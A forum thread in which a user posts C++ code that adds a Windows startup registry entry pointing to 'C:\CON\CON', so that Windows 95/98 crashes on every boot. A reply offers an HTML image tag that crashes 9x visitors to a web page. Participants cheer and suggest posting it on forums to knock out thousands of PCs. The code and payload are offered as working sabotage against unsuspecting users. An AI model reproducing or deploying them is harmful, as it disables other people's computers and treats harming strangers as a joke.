[C++] Force Windows 95/98 to crash on startup

[SMR]

EDIT: I forgot the [C++] tag, any mod/admin mind adding that for me?

#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     // TODO: Place code here.
    BYTE Data[11] = { 'C',':','\\','C','O','N','\\','C','O','N','\0' };
    HKEY KeyHandle;
    RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&KeyHandle);
    RegSetValueEx(KeyHandle,"StartupService",NULL,REG_SZ,Data,11);
    RegCloseKey(KeyHandle);
    return 0;
}

Once the user restarts their computer, they're owned.

[ilikegrapesoda72*BANNED*]

If they are using windows 95/98 they deserve this. Could be useful to force some people into buying a real computer...

[SMR]

Funny thing is that this source isn't the only thing that will make it crash. All you need to do is to get Windows to try to access a file called C:\CON\CON and it brings the whole OS down.

Just add something like <IMG SRC="C:\CON\CON"> to your homepage and pwn those silly 9x users :P

[Thiefmn6092]

That's halarious! :-D

lol find a forum for win 98/95 and put it on there. take down thousands of pcs and force microsoft into making an update for their no-longer-supported software. also to be fair u dont really need to do this to make windows 98 crash... it does it itself alot.

[Floater]

Post this on a 95/98 forum seriously.. I mean if there even are any.

dont post this anywhere yet... im on a windows 98 pc now >.>

Owch ^

Why haven't you updated?

XP is way better (don't get ME(uber failure) or Vista(super failure)). Get XP or linux ;)

cuz that pc only has 120mb of ram and windows 98 lags it.

[blindkilla]

hehe very interesting, thanks for sharing this